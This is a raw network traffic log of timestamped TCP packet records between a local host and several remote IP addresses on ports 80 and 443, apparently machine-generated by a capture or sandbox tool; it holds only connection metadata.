Oct 31, 2024 01:19:22.156400919 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156411886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156420946 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156438112 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156450033 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156455994 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156461000 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156471968 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156483889 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156490088 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156502008 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156505108 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156512976 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156526089 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156543016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156552076 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156560898 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156573057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156584024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156589985 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156594992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156605959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156608105 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156616926 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156627893 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156636953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156636953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156649113 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156660080 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156661034 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156677961 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156687975 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156693935 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156707048 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156707048 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156718016 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156728983 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156749010 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156749010 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156760931 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156770945 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156783104 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156784058 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156795025 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156805038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156810045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156816959 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156831026 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156835079 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156862974 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156866074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156877995 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156884909 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156888962 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156899929 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156912088 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156922102 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.156922102 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156964064 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.156999111 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157010078 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157020092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157031059 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157042980 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157059908 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157067060 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157077074 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157088041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157098055 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157103062 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157109022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157118082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157129049 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157140970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157143116 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157150984 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157161951 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157179117 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157182932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157190084 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157201052 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157211065 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157212019 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157237053 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157250881 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157262087 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157303095 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157356977 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157367945 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157376051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157385111 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157408953 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157443047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157504082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157521963 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157532930 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157545090 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157546043 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157556057 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157567978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157568932 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157577991 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157588005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157605886 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157610893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157618046 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157629013 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157634020 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157639980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157665968 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157702923 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157715082 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157723904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157740116 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157752037 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157758951 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157762051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157773018 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157799006 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157816887 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157875061 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157886028 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157919884 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157932043 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157943010 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157953024 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.157975912 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.157996893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158023119 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158034086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158044100 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158056021 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158066988 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158066988 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158077955 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158088923 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158109903 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158111095 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158133030 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158153057 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158205032 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158216953 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158226967 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158245087 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158251047 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158256054 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158267021 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158277035 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158288002 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158308983 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158420086 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158432007 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158447981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158457994 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158466101 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158469915 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158480883 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158493996 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158518076 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158683062 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158694029 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158704996 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158731937 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158742905 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158745050 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158754110 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158771038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158782005 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158782959 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158792019 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158804893 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158811092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158823967 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158833981 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158837080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158843994 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158864975 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158885956 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158902884 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158942938 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158943892 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158956051 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.158983946 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.158999920 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159010887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159019947 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159043074 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159064054 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159238100 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159274101 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159279108 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159286022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159334898 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159368038 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159380913 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159396887 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159408092 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159408092 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159426928 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159440041 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159446955 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159456968 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159467936 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159480095 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159486055 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159492970 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159502029 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159503937 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159514904 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159526110 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159532070 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159537077 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159549952 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159554958 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159584045 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159595013 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159672022 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159714937 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159715891 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159732103 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.159759998 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.159776926 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.164968967 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:22.165013075 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:22.165108919 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:22.165527105 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:22.165540934 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:22.193355083 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.193382978 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.193392992 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.193406105 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.193418980 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.193429947 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.193442106 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:22.193686962 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.193720102 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:22.772499084 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:22.772658110 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:22.797463894 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:22.797481060 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:22.797765017 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:22.799115896 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:22.799292088 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:22.799324989 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:23.162266016 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:23.162363052 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:23.162470102 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:23.170355082 CET	50001	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:23.170372963 CET	443	50001	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:23.813936949 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:23.813987017 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:23.814048052 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:23.814388990 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:23.814399958 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:24.424973965 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:24.425173998 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:24.626363993 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:24.626394987 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:24.626858950 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:24.628859997 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:24.629321098 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:24.629352093 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:24.629414082 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:24.629421949 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:25.030791998 CET	49996	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:25.030970097 CET	50003	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:25.035831928 CET	80	50003	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:25.035906076 CET	50003	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:25.036144018 CET	80	49996	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:25.036191940 CET	49996	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:25.070019007 CET	50003	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:25.074969053 CET	80	50003	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:25.378798962 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:25.379040003 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:25.379105091 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:25.392338037 CET	50002	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:25.392354965 CET	443	50002	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:25.930010080 CET	80	50003	185.215.113.43	192.168.2.6
Oct 31, 2024 01:19:25.930113077 CET	50003	80	192.168.2.6	185.215.113.43
Oct 31, 2024 01:19:25.940828085 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:25.941167116 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:25.946242094 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:25.946331978 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:25.946357965 CET	80	49998	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:25.946407080 CET	49998	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:25.946432114 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:25.951242924 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.088150978 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:26.088175058 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:26.088237047 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:26.088560104 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:26.088572979 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:26.196918011 CET	50006	80	192.168.2.6	185.215.113.206
Oct 31, 2024 01:19:26.201785088 CET	80	50006	185.215.113.206	192.168.2.6
Oct 31, 2024 01:19:26.201853991 CET	50006	80	192.168.2.6	185.215.113.206
Oct 31, 2024 01:19:26.203011990 CET	50006	80	192.168.2.6	185.215.113.206
Oct 31, 2024 01:19:26.207743883 CET	80	50006	185.215.113.206	192.168.2.6
Oct 31, 2024 01:19:26.720168114 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:26.720272064 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:26.721601963 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:26.721610069 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:26.721930027 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:26.724836111 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:26.725008011 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:26.725044012 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:26.725114107 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:26.725122929 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:26.858671904 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858726978 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858738899 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858748913 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858761072 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858772039 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858778000 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:26.858788967 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858803988 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858808994 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858817101 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.858829021 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:26.858860970 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:26.858860970 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:26.858917952 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:26.858917952 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:26.863734961 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:26.863838911 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.014100075 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014111996 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014122963 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014136076 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014146090 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014179945 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.014249086 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.014463902 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014509916 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014523029 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014523983 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.014553070 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.014573097 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.014866114 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.014923096 CET	50004	80	192.168.2.6	185.215.113.16
